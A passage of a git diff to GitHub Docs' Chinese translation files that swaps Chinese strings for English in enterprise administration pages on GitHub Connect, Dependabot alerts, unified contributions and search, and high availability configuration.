许可上的客户名称 +- The public key portion of your {% data variables.product.prodname_ghe_server %} license +- A hash of your {% data variables.product.prodname_ghe_server %} license +- The customer name on your {% data variables.product.prodname_ghe_server %} license - The version of {% data variables.product.product_location_enterprise %}{% endif %} - The hostname of your {% data variables.product.product_name %} instance -- 连接至 {% data variables.product.product_location %} 的 {% data variables.product.prodname_dotcom_the_website %} 上的组织或企业帐户 -- {% data variables.product.product_location %} 用于向 {% data variables.product.prodname_dotcom_the_website %} 发送请求的身份验证令牌 +- The organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that's connected to {% data variables.product.product_location %} +- The authentication token that's used by {% data variables.product.product_location %} to make requests to {% data variables.product.prodname_dotcom_the_website %} -启用 {% data variables.product.prodname_github_connect %} 也可以创建由您的 {% data variables.product.prodname_ghe_cloud %} 组织或企业帐户所拥有的 {% data variables.product.prodname_github_app %}。 {% data variables.product.product_name %} 使用 {% data variables.product.prodname_github_app %} 的凭据向 {% data variables.product.prodname_dotcom_the_website %} 发送请求。 +Enabling {% data variables.product.prodname_github_connect %} also creates a {% data variables.product.prodname_github_app %} owned by your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes %} -{% data variables.product.prodname_ghe_server %} 会存储来自 {% data variables.product.prodname_github_app %} 的凭据。 这些凭据将复制到任何高可用性或集群环境，并存储在任何备份中，包括由 {% data variables.product.prodname_enterprise_backup_utilities %} 创建的快照。 -- 有效期为一小时的身份验证令牌 -- 用于生成新的身份验证令牌的私钥 +{% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. These credentials will be replicated to any high availability or clustering environments, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}. +- An authentication token, which is valid for one hour +- A private key, which is used to generate a new authentication token {% endif %} -启用 {% data variables.product.prodname_github_connect %} 将不允许 {% data variables.product.prodname_dotcom_the_website %} 用户对 {% data variables.product.product_name %} 进行更改。 +Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}. -有关使用 GraphQL API 管理企业帐户的信息，请参阅“[企业帐户](/graphql/guides/managing-enterprise-accounts)”。 -## 启用 {% data variables.product.prodname_github_connect %} +For more information about managing enterprise accounts using the GraphQL API, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)." +## Enabling {% data variables.product.prodname_github_connect %} {% ifversion ghes %} -1. 登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. 登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. 在“{% data variables.product.prodname_github_connect %} is not enabled yet”下，单击 **Enable {% data variables.product.prodname_github_connect %}**。 By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." +1. Under "{% data variables.product.prodname_github_connect %} is not enabled yet", click **Enable {% data variables.product.prodname_github_connect %}**. By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." {% ifversion ghes %} -![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} -![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) + ![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} + ![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) {% endif %} -1. 在要连接的企业帐户或组织旁，单击 **Connect**。 ![企业帐户或企业旁边的连接按钮](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) +1. Next to the enterprise account or organization you'd like to connect, click **Connect**. + ![Connect button next to an enterprise account or business](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) ## Disconnecting a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account from your enterprise account -与 {% data variables.product.prodname_ghe_cloud %} 断开连接后，{% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} 会从企业帐户或组织中删除，{% data variables.product.product_location %} 上存储的凭据也会删除。 +When you disconnect from {% data variables.product.prodname_ghe_cloud %}, the {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} is deleted from your enterprise account or organization and credentials stored on {% data variables.product.product_location %} are deleted. {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %} -1. 在要断开连接的企业帐户或组织旁，单击 **Disable {% data variables.product.prodname_github_connect %}**。 +1. Next to the enterprise account or organization you'd like to disconnect, click **Disable {% data variables.product.prodname_github_connect %}**. {% ifversion ghes %} - ![企业帐户或组织名称旁的 Disable GitHub Connect 按钮](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) -1. 阅读有关断开连接的信息，并单击 **Disable {% data variables.product.prodname_github_connect %}**。 ![包含关于断开连接的警告信息和确认按钮的模式窗口](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) {% else %} - ![企业帐户或组织名称旁的 Disable GitHub Connect 按钮](/assets/images/enterprise/github-ae/disable-github-connect-button.png) -1. 阅读有关断开连接的信息，并单击 **Disable {% data variables.product.prodname_github_connect %}**。 ![包含关于断开连接的警告信息和确认按钮的模式窗口](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/github-ae/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) {% endif %} diff --git a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md index 1f9366da1a..7ae65dd0ef 100644 --- a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md +++ b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md @@ -1,6 +1,6 @@ --- title: Enabling the dependency graph and Dependabot alerts on your enterprise account -intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts in repositories in your instance.' +intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.' shortTitle: Enable dependency analysis redirect_from: - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server @@ -9,7 +9,7 @@ redirect_from: - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server -permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts on {% data variables.product.product_location %}.' +permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.product_location %}.' versions: ghes: '*' ghae: issue-4864 @@ -20,8 +20,7 @@ topics: - Dependency graph - Dependabot --- - -## 关于 {% data variables.product.product_location %} 上易受攻击的依赖项的警报 +## About alerts for vulnerable dependencies on {% data variables.product.product_location %} {% data reusables.dependabot.dependabot-alerts-beta %} @@ -34,9 +33,9 @@ For more information about these features, see "[About the dependency graph](/gi ### About synchronization of data from the {% data variables.product.prodname_advisory_database %} -{% data reusables.repositories.tracks-vulnerabilities %} +{% data reusables.repositories.tracks-vulnerabilities %} -You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. 您还可以随时选择手动同步漏洞数据。 代码和关于代码的信息不会从 {% data variables.product.product_location %} 上传到 {% data variables.product.prodname_dotcom_the_website %}。 +You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}. ### About generation of {% data variables.product.prodname_dependabot_alerts %} @@ -44,61 +43,63 @@ If you enable vulnerability detection, when {% data variables.product.product_lo ## Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies on {% data variables.product.product_location %} -### 基本要求 +### Prerequisites For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}: -- 您必须将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_dotcom_the_website %}。 {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae-next %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %} +- You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae-next %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %} {% ifversion ghes %}- You must enable the dependency graph service.{% endif %} - You must enable vulnerability scanning. {% ifversion ghes %} {% ifversion ghes > 3.1 %} -您可以通过 {% data variables.enterprise.management_console %} 或管理 shell 启用依赖关系图。 我们建议您遵循 {% data variables.enterprise.management_console %} 路线，除非 {% data variables.product.product_location %} 使用集群。 +You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. -### 通过 {% data variables.enterprise.management_console %} 启用依赖关系图 +### Enabling the dependency graph via the {% data variables.enterprise.management_console %} {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. 在“Security（安全）”下，单击 **Dependency graph（依赖关系图）**。 ![启用或禁用依赖关系图的复选框](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) +1. Under "Security," click **Dependency graph**. +![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -1. 单击 **Visit your instance（访问您的实例）**。 +1. Click **Visit your instance**. -### 通过管理 shell 启用依赖关系图 +### Enabling the dependency graph via the administrative shell {% endif %}{% ifversion ghes < 3.2 %} -### 启用依赖关系图 +### Enabling the dependency graph {% endif %} {% data reusables.enterprise_site_admin_settings.sign-in %} -1. 在管理 shell 中，启用 {% data variables.product.product_location %} 上的依赖关系图： +1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}: ``` shell $ {% ifversion ghes > 3.1 %}ghe-config app.dependency-graph.enabled true{% else %}ghe-config app.github.dependency-graph-enabled true{% endif %} ``` {% note %} - **注**：有关启用通过 SSH 访问管理 shell 的更多信息，请参阅“[访问管理 shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)”。 + **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)." {% endnote %} -1. 应用配置。 +1. Apply the configuration. ```shell $ ghe-config-apply ``` -1. 返回到 {% data variables.product.prodname_ghe_server %}。 +1. Return to {% data variables.product.prodname_ghe_server %}. {% endif %} -### 启用 {% data variables.product.prodname_dependabot_alerts %} +### Enabling {% data variables.product.prodname_dependabot_alerts %} {% ifversion ghes %} -在为您的实例启用 {% data variables.product.prodname_dependabot_alerts %} 之前，您需要启用依赖关系图。 更多信息请参阅上文。 +Before enabling {% data variables.product.prodname_dependabot_alerts %} for your instance, you need to enable the dependency graph. For more information, see above. {% endif %} {% data reusables.enterprise-accounts.access-enterprise %} {%- ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %} {% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. ![用于启用扫描仓库有无漏洞的下拉菜单](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) +1. Under "Repositories can be scanned for vulnerabilities", select the drop-down menu and click **Enabled without notifications**. Optionally, to enable alerts with notifications, click **Enabled with notifications**. + ![Drop-down menu to enable scanning repositories for vulnerabilities](/assets/images/enterprise/site-admin-settings/enable-vulnerability-scanning-in-repositories.png) {% tip %} - - **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. 几天后，您可以开启通知，像往常一样接收 {% data variables.product.prodname_dependabot_alerts %}。 + + **Tip**: We recommend configuring {% data variables.product.prodname_dependabot_alerts %} without notifications for the first few days to avoid an overload of emails. After a few days, you can enable notifications to receive {% data variables.product.prodname_dependabot_alerts %} as usual. {% endtip %} @@ -106,10 +107,12 @@ For {% data variables.product.product_location %} to detect vulnerable dependenc When you enable {% data variables.product.prodname_dependabot_alerts %}, you should consider also setting up {% data variables.product.prodname_actions %} for {% data variables.product.prodname_dependabot_security_updates %}. This feature allows developers to fix vulnerabilities in their dependencies. For more information, see "[Setting up {% data variables.product.prodname_dependabot %} security and version updates on your enterprise](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." {% endif %} -## 查看 {% data variables.product.product_location %} 上易受攻击的依赖项 +## Viewing vulnerable dependencies on {% data variables.product.product_location %} -您可以查看 {% data variables.product.product_location %} 中的所有漏洞，然后手动同步 {% data variables.product.prodname_dotcom_the_website %} 中的漏洞数据，以更新列表。 +You can view all vulnerabilities in {% data variables.product.product_location %} and manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list. {% data reusables.enterprise_site_admin_settings.access-settings %} -2. 在左侧边栏中，单击 **Vulnerabilities**。 ![站点管理员边栏中的 Vulnerabilities 选项卡](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) -3. 要同步漏洞数据，请单击 **Sync Vulnerabilities now**。 ![Sync vulnerabilities now 按钮](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) +2. In the left sidebar, click **Vulnerabilities**. + ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) +3. To sync vulnerability data, click **Sync Vulnerabilities now**. + ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) diff --git a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md index 86907ce605..3147912f21 100644 --- a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md +++ b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md @@ -1,7 +1,7 @@ --- title: Enabling unified contributions between your enterprise account and GitHub.com -shortTitle: 启用统一贡献 -intro: '启用 {% data variables.product.prodname_github_connect %} 后，您可以允许 {% data variables.product.prodname_ghe_cloud %} 成员向其 {% data variables.product.prodname_dotcom_the_website %} 个人资料发送贡献计数，以突出显示他们在 {% data variables.product.product_name %} 上的工作。' +shortTitle: Enable unified contributions +intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow {% data variables.product.prodname_ghe_cloud %} members to highlight their work on {% data variables.product.product_name %} by sending the contribution counts to their {% data variables.product.prodname_dotcom_the_website %} profiles.' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com/ - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com/ @@ -26,21 +26,22 @@ As an enterprise owner, you can allow end users to send anonymized contribution After you enable {% data variables.product.prodname_github_connect %} and enable {% data variables.product.prodname_unified_contributions %} in both environments, end users on your enterprise account can connect to their {% data variables.product.prodname_dotcom_the_website %} accounts and send contribution counts from {% data variables.product.product_name %} to {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.github-connect.sync-frequency %} For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." -If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. 如果开发者在禁用它们后重新连接其个人资料，则会恢复过去 90 天的贡献计数。 +If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the developer reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. -{% data variables.product.product_name %} **仅**为已连接的用户发送贡献计数和来源 ({% data variables.product.product_name %})。 它不会发送有关贡献或做出该贡献的方式的任何信息。 +{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made. -在 {% data variables.product.product_location %} 上启用 {% data variables.product.prodname_unified_contributions %} 前，必须将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_dotcom_the_website %}。 For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." +Before enabling {% data variables.product.prodname_unified_contributions %} on {% data variables.product.product_location %}, you must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." {% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. 登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. 在“Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}”下，单击 **Request access**。 ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} -2. [登录](https://enterprise.github.com/login) {% data variables.product.prodname_ghe_server %} 站点以接收其他说明。 +1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**. + ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} +2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. {% endif %} diff --git a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md index 25ab6cec91..412d68ed18 100644 --- a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md +++ b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md @@ -1,6 +1,6 @@ --- title: Enabling unified search between your enterprise account and GitHub.com -shortTitle: 启用统一搜索 +shortTitle: Enable unified search intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow search of {% data variables.product.prodname_dotcom_the_website %} for members of your enterprise on {% data variables.product.product_name %}.' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com/ @@ -25,21 +25,25 @@ topics: When you enable unified search, users can view search results from public and private content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. -用户将无法从 {% data variables.product.prodname_dotcom_the_website %} 搜索 {% data variables.product.product_location %}，即使他们对这两个环境都具有访问权限。 用户只能搜索您已启用 {% data variables.product.prodname_unified_search %} 的私有仓库，并且他们可以在连接的 {% data variables.product.prodname_ghe_cloud %} 组织中访问。 For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)" and "[Enabling private {% data variables.product.prodname_dotcom_the_website %} repository search in your enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." +After you enable unified search for {% data variables.product.product_location %}, individual users must also connect their user accounts on {% data variables.product.product_name %} with their user accounts on {% data variables.product.prodname_dotcom_the_website %} in order to see search results from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." -通过 REST 和 GraphQL API 进行搜索不包含 {% data variables.product.prodname_dotcom_the_website %} 搜索结果。 不支持在 {% data variables.product.prodname_dotcom_the_website %} 中进行高级搜索和搜索 Wiki。 +Users will not be able to search {% data variables.product.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. Users can only search private repositories you've enabled {% data variables.product.prodname_unified_search %} for and that they have access to in the connected {% data variables.product.prodname_ghe_cloud %} organizations. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)." + +Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported. {% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. 登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %}。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. 在“Users can search {% data variables.product.prodname_dotcom_the_website %}”下，使用下拉菜单，然后单击 **Enabled**。 ![在搜索 GitHub.com 下拉菜单中启用搜索选项](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) -1. （可选）在“用户可以在 {% data variables.product.prodname_dotcom_the_website %} 上搜索私有仓库”下，使用下拉菜单并单击 **Enabled（启用）**。 ![在搜索 GitHub.com 下拉菜单中启用私有仓库搜索选项](/assets/images/enterprise/site-admin-settings/enable-private-search.png) +1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) +1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png) -## 延伸阅读 +## Further reading - "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)" diff --git a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md index 65c6dc7f90..b77a0669ae 100644 --- a/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md +++ b/translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md @@ -1,6 +1,6 @@ --- title: Managing connections between your enterprise accounts -intro: '利用 {% data variables.product.prodname_github_connect %}，您可以在 {% data variables.product.product_location %} 与 {% data variables.product.prodname_dotcom_the_website %} 上的 {% data variables.product.prodname_ghe_cloud %} 组织或企业帐户之间共享某些功能和数据。' +intro: 'With {% data variables.product.prodname_github_connect %}, you can share certain features and data between {% data variables.product.product_location %} and your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %}.' redirect_from: - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com/ diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md index aa25cbef40..60b1d3bbae 100644 --- a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md +++ b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md @@ -1,6 +1,6 @@ --- -title: 关于高可用性配置 -intro: '在高性能配置中，完全冗余的次级 {% data variables.product.prodname_ghe_server %} 设备通过复制所有主要数据存储与主设备保持同步。' +title: About high availability configuration +intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.' redirect_from: - /enterprise/admin/installation/about-high-availability-configuration - /enterprise/admin/enterprise-management/about-high-availability-configuration @@ -12,59 +12,58 @@ topics: - Enterprise - High availability - Infrastructure -shortTitle: 关于 HA 配置 +shortTitle: About HA configuration --- +When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance. -配置高可用性时，会自动设置将所有数据存储（Git 仓库、MySQL、Redis 和 Elasticsearch）单向、异步地从主设备复制到副本。 - -{% data variables.product.prodname_ghe_server %} 支持主动/被动配置，在这些配置下，副本作为备用设备运行，并且数据库服务在复制模式下运行，但应用程序服务将停止。 +{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where the replica appliance runs as a standby with database services running in replication mode but application services stopped. {% data reusables.enterprise_installation.replica-limit %} -## 有针对性的故障场景 +## Targeted failure scenarios -使用高可用性配置防护以下问题： +Use a high availability configuration for protection against: {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} -高可用性配置不适用于： +A high availability configuration is not a good solution for: - - **扩展**。 虽然可以使用 Geo-replication 将流量分布在不同地理位置，但写入性能受限于主设备的速度和可用性。 For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %} + - **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %} - **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."{% endif %} - - **备份主设备**。 